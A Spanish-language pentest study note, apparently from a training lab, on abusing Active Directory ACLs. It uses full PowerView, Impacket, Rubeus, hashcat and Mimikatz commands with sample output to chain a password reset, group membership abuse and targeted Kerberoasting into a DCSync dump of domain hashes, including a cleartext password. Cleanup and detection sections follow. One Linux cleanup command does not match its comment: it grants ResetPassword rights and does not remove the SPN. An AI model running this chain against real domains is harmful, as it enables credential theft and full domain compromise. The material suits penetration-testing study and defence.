Skip to content

Access Control Entries (ACEs) - Abuso y Enumeración

Links: ForceChangePassword - BloodHound | GenericWrite - BloodHound | GenericAll - BloodHound | Microsoft LAPS | PowerView | dacledit.py | BloodHound.py | Rubeus | Impacket secretsdump.py


Resumen de ACEs abusables y su herramienta de explotación

  • ForceChangePassword → abusado con Set-DomainUserPassword
  • Add Members → abusado con Add-DomainGroupMember
  • GenericAll → abusado con Set-DomainUserPassword o Add-DomainGroupMember
  • GenericWrite → abusado con Set-DomainObject
  • WriteOwner → abusado con Set-DomainObjectOwner
  • WriteDACL → abusado con Add-DomainObjectAcl
  • AllExtendedRights → abusado con Set-DomainUserPassword o Add-DomainGroupMember
  • AddSelf → abusado con Add-DomainGroupMember

Contexto técnico de cada derecho

ForceChangePassword — Permite resetear la contraseña de un usuario sin conocer la contraseña actual. Debe usarse con precaución en engagements reales; consultar con el cliente antes de resetear contraseñas de producción.

GenericWrite — Permite escribir en cualquier atributo no protegido de un objeto. Sobre un usuario, permite asignar un SPN y ejecutar Kerberoasting dirigido (basado en que la cuenta objetivo tenga contraseña débil). Sobre un grupo, permite agregarse a sí mismo u otro principal de seguridad. Sobre un objeto computer, permite configurar RBCD (Resource-Based Constrained Delegation).

AddSelf — Indica los grupos de seguridad a los que un usuario puede agregarse a sí mismo (equivalente al derecho Self-Membership).

GenericAll — Control total sobre el objeto. Sobre usuario/grupo permite modificar membresía, forzar cambio de contraseña, o Kerberoasting dirigido. Sobre un objeto computer con LAPS habilitado, permite leer la contraseña de administrador local — útil para movimiento lateral o escalada si se logra acceso privilegiado en algún punto de la cadena.


ACL Enumeration

Enumerar ACLs interesantes con PowerView

powershell
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl

Output real de ejemplo

ObjectDN                : DC=DOMAIN,DC=LOCAL
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ExtendedRight
ObjectAceType           : ab721a53-1e2f-11d0-9819-00aa0040529b
AceFlags                : ContainerInherit
AceType                 : AccessAllowedObject
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3842939050-3880317879-2865463114-5189
IdentityReferenceName   : Exchange Windows Permissions
IdentityReferenceDomain : DOMAIN.LOCAL
IdentityReferenceDN     : CN=Exchange Windows Permissions,OU=Microsoft Exchange Security
                          Groups,DC=DOMAIN,DC=LOCAL
IdentityReferenceClass  : group

ObjectDN                : DC=DOMAIN,DC=LOCAL
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ExtendedRight
ObjectAceType           : 00299570-246d-11d0-a768-00aa006e0529
AceFlags                : ContainerInherit
AceType                 : AccessAllowedObject
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3842939050-3880317879-2865463114-5189
IdentityReferenceName   : Exchange Windows Permissions
IdentityReferenceDomain : DOMAIN.LOCAL
IdentityReferenceDN     : CN=Exchange Windows Permissions,OU=Microsoft Exchange Security
                          Groups,DC=DOMAIN,DC=LOCAL
IdentityReferenceClass  : group

<SNIP>
powershell
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley

Usando Get-DomainObjectACL

Con esta función se busca todos los objetos de dominio sobre los que el usuario controlado tiene derechos, mapeando el SID del usuario ($sid) contra la propiedad SecurityIdentifier, que indica quién tiene el derecho sobre un objeto. Sin la bandera -ResolveGUIDs, el derecho ExtendedRight no da una imagen clara de qué ACE tiene wley sobre damundsen, porque ObjectAceType devuelve un GUID no legible.

powershell
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}

Output real de ejemplo

ObjectDN               : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114-1176
ActiveDirectoryRights  : ExtendedRight
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 256
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1181
AceType                : AccessAllowedObject
AceFlags               : ContainerInherit
IsInherited            : False
InheritanceFlags       : ContainerInherit
PropagationFlags       : None
AuditFlags             : None

Búsqueda inversa: mapear un GUID a su nombre legible

powershell
$guid = "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl

Output real de ejemplo

Name              : User-Force-Change-Password
DisplayName       : Reset Password
DistinguishedName : CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=DOMAIN,DC=LOCAL
rightsGuid        : 00299570-246d-11d0-a768-00aa006e0529

En caso de fallar por conflicto de nombres con PowerView, usar la ruta completa del módulo:

powershell
ActiveDirectory\Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl

Usando el flag -ResolveGUIDs

powershell
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

Output real de ejemplo

AceQualifier           : AccessAllowed
ObjectDN               : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : User-Force-Change-Password
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114-1176
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1181
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0

Ahora ObjectAceType muestra directamente User-Force-Change-Password en lugar del GUID crudo.


Enumeración con cmdlets nativos (Get-Acl / Get-ADUser)

Generar una lista de usuarios del dominio

powershell
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

Loop foreach útil: buscar permisos de wley sobre todos los usuarios del dominio

powershell
foreach($line in [System.IO.File]::ReadLines("C:\Users\test\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'DOMAIN\\wley'}}

Output real de ejemplo

Path                  : Microsoft.ActiveDirectory.Management.dll\ActiveDirectory:://RootDSE/CN=Dana
                        Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
InheritanceType       : All
ObjectType            : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : ObjectAceTypePresent
AccessControlType     : Allow
IdentityReference     : DOMAIN\wley
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

Enumeración recursiva de cadenas de ataque (grupo anidado) — Walkthrough completo

Cuando un derecho está asignado a un grupo (no directamente a un usuario), hay que investigar la cadena de membresía completa. Este es el flujo completo tal como se identificó en el ejemplo original: wleydamundsen (ForceChangePassword) → damundsen tiene GenericWrite sobre el grupo Help Desk Level 1 → ese grupo es miembro de Information Technology → ese grupo tiene GenericAll sobre adunnadunn tiene derechos de replicación (DCSync) sobre el dominio.

Paso 1 - Verificar derechos adicionales de damundsen

powershell
$sid2 = Convert-NameToSid damundsen
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose

Output real de ejemplo

AceType               : AccessAllowed
ObjectDN              : CN=Help Desk Level 1,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3842939050-3880317879-2865463114-4022
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1176
AccessMask            : 131132
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

damundsen tiene GenericWrite sobre el grupo Help Desk Level 1.

Paso 2 - Investigar el grupo Help Desk Level 1

powershell
Get-DomainGroup -Identity "Help Desk Level 1" | select memberof

Output real de ejemplo

memberof
--------
CN=Information Technology,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL

Help Desk Level 1 es a su vez miembro de Information Technology.

Paso 3 - Verificar los derechos del grupo Information Technology

powershell
$itgroupsid = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose

Output real de ejemplo

AceType               : AccessAllowed
ObjectDN              : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3842939050-3880317879-2865463114-1164
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-4016
AccessMask            : 983551
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

Information Technology tiene GenericAll sobre Angela Dunn (adunn) — cuenta de Server Admin.

Paso 4 - Buscar derechos críticos de adunn (DCSync)

powershell
$adunnsid = Convert-NameToSid adunn
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose

Output real de ejemplo

AceQualifier           : AccessAllowed
ObjectDN               : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1164
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0

AceQualifier           : AccessAllowed
ObjectDN               : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1164
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0

<SNIP>

Cadena de ataque completa confirmada: wley (ForceChangePassword) → resetea password de damundsendamundsen (GenericWrite) → se agrega a Help Desk Level 1 → hereda membresía de Information Technology → (GenericAll) sobre adunnadunn tiene DS-Replication-Get-Changes + DS-Replication-Get-Changes-All → DCSync completo del dominio.


Queries filtradas por derecho específico

ForceChangePassword

powershell
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ObjectAceType -eq "User-Force-Change-Password" }

GenericWrite

powershell
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -eq "GenericWrite" }

AddSelf (Self-Membership)

powershell
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ObjectAceType -eq "Self-Membership" }

GenericAll

powershell
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -eq "GenericAll" }

Equivalente de enumeración desde Linux

PowerView es exclusivo de Windows. Desde Linux, la enumeración equivalente se hace con:

Con dacledit.py

bash
python3 examples/dacledit.py -principal wley -target damundsen -dc-ip 172.16.5.5 DOMAIN.local/wley:'<password>'

Con BloodHound.py (recolección completa para análisis en grafo)

bash
bloodhound-python -u wley -p '<password>' -d DOMAIN.local -ns 172.16.5.5 -c All

Cargar los .json generados en BloodHound GUI para navegar la misma cadena de ataque (wley → damundsen → Help Desk Level 1 → Information Technology → adunn → DCSync) de forma visual, con correlación automática de membresía de grupos (a diferencia de dacledit.py, que no correlaciona grupos).

Con ldapsearch (verificación puntual de un GUID/derecho)

bash
ldapsearch -x -H ldap://172.16.5.5 -D "wley@DOMAIN.local" -w '<password>' -b "CN=Extended-Rights,CN=Configuration,DC=DOMAIN,DC=local" "(rightsGuid=00299570-246d-11d0-a768-00aa006e0529)" displayName

ACL Abuse Tactics

ForceChangePassword

Crear un objeto PSCredential con las credenciales de wley

powershell
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\wley', $SecPassword)

Crear el SecureString de la nueva contraseña para damundsen

powershell
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

Ejecutar el reset de contraseña

powershell
cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

Output real de ejemplo

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset

Validar las nuevas credenciales

bash
netexec smb 10.129.2.161 -u damundsen -p 'Pwn3d_by_ACLs!'

Output real de ejemplo

SMB         10.129.2.161    445    ACADEMY-EA-MS01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-MS01) (domain:DOMAIN.LOCAL) (signing:False) (SMBv1:None)
SMB         10.129.2.161    445    ACADEMY-EA-MS01  [+] DOMAIN.LOCAL\damundsen:Pwn3d_by_ACLs! (Pwn3d!)

Cambiar de usuario en la sesión Windows actual

cmd
runas /user:DOMAIN\damundsen powershell
Enter the password for DOMAIN\damundsen:
Attempting to start powershell as user "DOMAIN\damundsen" ...

GenericWrite (agregar a un grupo)

Crear el objeto SecureString usando damundsen

powershell
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('DOMAIN\damundsen', $SecPassword)

Verificar miembros actuales del grupo Help Desk Level 1

powershell
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members

Output real de ejemplo

CN=Stella Blagg,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
.
.
.
LAX,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
CN=Dagmar Payne,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL

Agregar a damundsen al grupo Help Desk Level 1

powershell
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

Output real de ejemplo

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'

Confirmar que damundsen fue agregado

powershell
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

Output real de ejemplo

MemberName
----------
busucher
spergazed

<SNIP>

damundsen
dpayne

GenericAll (Targeted Kerberoasting sobre adunn)

Crear un SPN falso para adunn

Para Kerberoastear a un usuario, debe tener al menos un SPN asociado. Se crea un SPN falso para que el DC piense que es una cuenta de servicio kerberoasteable.

powershell
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

Kerberoastear con Rubeus

powershell
.\Rubeus.exe kerberoast /user:adunn /nowrap

Output real de ejemplo

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target User            : adunn
[*] Target Domain          : DOMAIN.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.DOMAIN.LOCAL/DC=DOMAIN,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1


[*] SamAccountName         : adunn
[*] DistinguishedName      : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
[*] ServicePrincipalName   : notahacker/LEGIT
[*] PwdLastSet             : 3/1/2022 11:29:08 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*adunn$DOMAIN.LOCAL$notahacker/LEGIT@DOMAIN.LOCAL*$ <SNIP>

Equivalente desde Linux (targetedKerberoast.py)

bash
targetedKerberoast.py -d DOMAIN.local -u damundsen -p 'Pwn3d_by_ACLs!' --request-user adunn --dc-ip 172.16.5.5

Crackear el hash obtenido (Linux o Windows)

bash
hashcat -m 13100 adunn_hash.txt /usr/share/wordlists/rockyou.txt

Cleanup

  1. Eliminar el SPN falso creado para adunn.
  2. Eliminar a damundsen del grupo Help Desk Level 1.
  3. Restablecer la contraseña de damundsen a su valor original (si se conoce), o coordinar con el cliente para que el usuario legítimo la cambie.

Eliminar el SPN falso de adunn

powershell
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose

Output real de ejemplo

VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'DOMAIN' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.DOMAIN.LOCAL/DC=DOMAIN,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'adunn'

Expulsar a damundsen del grupo Help Desk Level 1

powershell
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose

Output real de ejemplo

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Remove-DomainGroupMember] Removing member 'damundsen' from group 'Help Desk Level 1'
True

Confirmar que damundsen fue excluido del grupo

powershell
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose

Equivalente de cleanup desde Linux

bash
# Eliminar SPN falso vía LDAP
python3 examples/dacledit.py -action write -rights ResetPassword -principal damundsen -target adunn -dc-ip 172.16.5.5 DOMAIN.local/damundsen:'Pwn3d_by_ACLs!'

# Remover de grupo con net rpc
net rpc group delmem "Help Desk Level 1" damundsen -U DOMAIN.local/damundsen%'Pwn3d_by_ACLs!' -S 172.16.5.5

Detección y Remediación

  1. Auditar y remover ACLs peligrosas — Auditorías periódicas de Active Directory; capacitar personal interno en el uso de BloodHound para identificar ACLs potencialmente peligrosas que se pueden eliminar.

  2. Monitorear membresía de grupos — Visibilidad sobre todos los grupos de alto impacto en el dominio; alertar al personal de TI sobre cambios que podrían indicar una cadena de ataque de ACL.

  3. Auditar y monitorear cambios de ACL — Habilitar la política de auditoría de seguridad avanzada para detectar cambios no deseados, especialmente el Event ID 5136: Se modificó un objeto de servicio de directorio, que indica que se modificó un objeto de dominio — potencialmente indicativo de un ataque de ACL.



DCSync

DCSync es una técnica para robar la base de datos de contraseñas de Active Directory mediante la función integrada Directory Replication Service Remote (DRS) Protocol que utilizan los controladores de dominio para replicar los datos del dominio entre sí. Esto permite a un atacante suplantar la identidad de un controlador de dominio para recuperar los hashes NTLM de las contraseñas de los usuarios.

Links: DCSync - The Hacker Recipes | Mimikatz

La clave del ataque reside en solicitar a un controlador de dominio que replique contraseñas mediante el derecho extendido DS-Replication-Get-Changes-All. Este es un derecho de control de acceso extendido dentro de Active Directory que permite la replicación de datos confidenciales.


Continuando el walkthrough: usando adunn para DCSync

Verificar membresía y UAC de adunn

powershell
Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol | fl

Output real de ejemplo

samaccountname     : adunn
objectsid          : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof           : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=Shared Calendar
                     Read,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=Printer Access,OU=Security
                     Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=File Share H Drive,OU=Security
                     Groups,OU=Corp,DC=DOMAIN,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Verificar los derechos de replicación de adunn con Get-ObjectAcl

powershell
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=DOMAIN,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Output real de ejemplo

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-498
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-516
ObjectAceType         : DS-Replication-Get-Changes-All

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-In-Filtered-Set

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-All

adunn (SID terminado en -1164) tiene ambos derechos necesarios: DS-Replication-Get-Changes y DS-Replication-Get-Changes-All — DCSync completo confirmado.


Extraer hashes NTLM y claves Kerberos con secretsdump.py

bash
secretsdump.py -outputfile DOMAIN_hashes -just-dc DOMAIN/adunn@172.16.5.5

Output real de ejemplo

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Password:
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Searching for NTDS.dit
[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy. This might take some time
[*] Using smbexec method for remote execution
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a9707d46478ab8b3ea22d8526ba15aa6
[*] Reading and decrypting hashes from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp
DOMAIN.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab_adm:1001:aad3b435b51404eeaad3b435b51404ee:663715a1a8b957e8e9943cc98ea451b6:::
ACADEMY-EA-DC01$:1002:aad3b435b51404eeaad3b435b51404ee:13673b5b66f699e81b2ebcb63ebdccfb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
ACADEMY-EA-MS01$:1107:aad3b435b51404eeaad3b435b51404ee:06c77ee55364bd52559c0db9b1176f7a:::
ACADEMY-EA-WEB01$:1108:aad3b435b51404eeaad3b435b51404ee:1c7e2801ca48d0a5e3d5baf9e68367ac:::
DOMAIN.local\test:1111:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
DOMAIN.local\avazquez:1112:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::

<SNIP>

d0wngrade:des-cbc-md5:d6fee0b62aa410fe
d0wngrade:dec-cbc-crc:d6fee0b62aa410fe
ACADEMY-EA-FILE$:des-cbc-md5:eaef54a2c101406d
svc_qualys:des-cbc-md5:f125ab34b53eb61c
forend:des-cbc-md5:e3c14adf9d8a04c1
[*] ClearText password from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!
[*] Cleaning up...

Variantes útiles de secretsdump.py

bash
# Solo un usuario específico (más rápido, menos ruidoso)
secretsdump.py -just-dc-user krbtgt DOMAIN/adunn:'<password>'@172.16.5.5

# Solo hashes NTLM sin el NTDS completo
secretsdump.py -just-dc-ntlm DOMAIN/adunn:'<password>'@172.16.5.5

# Con hash NTLM de adunn en vez de contraseña
secretsdump.py -hashes :<NTHASH_adunn> -just-dc DOMAIN/adunn@172.16.5.5

Listar los archivos generados

bash
ls DOMAIN_hashes*
DOMAIN_hashes.ntds  DOMAIN_hashes.ntds.cleartext  DOMAIN_hashes.ntds.kerberos

Buscar cuentas con Reversible Encryption (contraseñas en texto claro)

Con Get-ADUser (Windows)

powershell
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

Output real de ejemplo

DistinguishedName  : CN=PROXYAGENT,OU=Service Accounts,OU=Corp,DC=DOMAIN,DC=LOCAL
Enabled            : True
GivenName          :
Name               : PROXYAGENT
ObjectClass        : user
ObjectGUID         : c72d37d9-e9ff-4e54-9afa-77775eaaf334
SamAccountName     : proxyagent
SID                : S-1-5-21-3842939050-3880317879-2865463114-5222
Surname            :
userAccountControl : 640
UserPrincipalName  :

Con Get-DomainUser (PowerView)

powershell
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol

Output real de ejemplo

samaccountname                         useraccountcontrol
--------------                         ------------------
proxyagent     ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT

Equivalente desde Linux (LDAP)

bash
ldapsearch -x -H ldap://172.16.5.5 -D "adunn@DOMAIN.local" -w '<password>' -b "DC=DOMAIN,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=128)" sAMAccountName

O con netexec:

bash
netexec ldap 172.16.5.5 -u adunn -p '<password>' --query "(userAccountControl:1.2.840.113556.1.4.803:=128)" sAMAccountName

Mostrar la contraseña en claro extraída

bash
cat DOMAIN_hashes.ntds.cleartext

Output real de ejemplo

proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

Ejecutar DCSync desde Windows con Mimikatz

cmd
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:DOMAIN.LOCAL /user:DOMAIN\administrator

Output real de ejemplo

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /domain:DOMAIN.LOCAL /user:DOMAIN\administrator
[DC] 'DOMAIN.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.DOMAIN.LOCAL' will be the DC server
[DC] 'DOMAIN\administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : administrator
User Principal Name  : administrator@DOMAIN.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 10/27/2021 6:49:32 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4625fd0c31368ff4c255a3b876eaac3d

<SNIP>

DCSync de krbtgt para verificación rápida de acceso
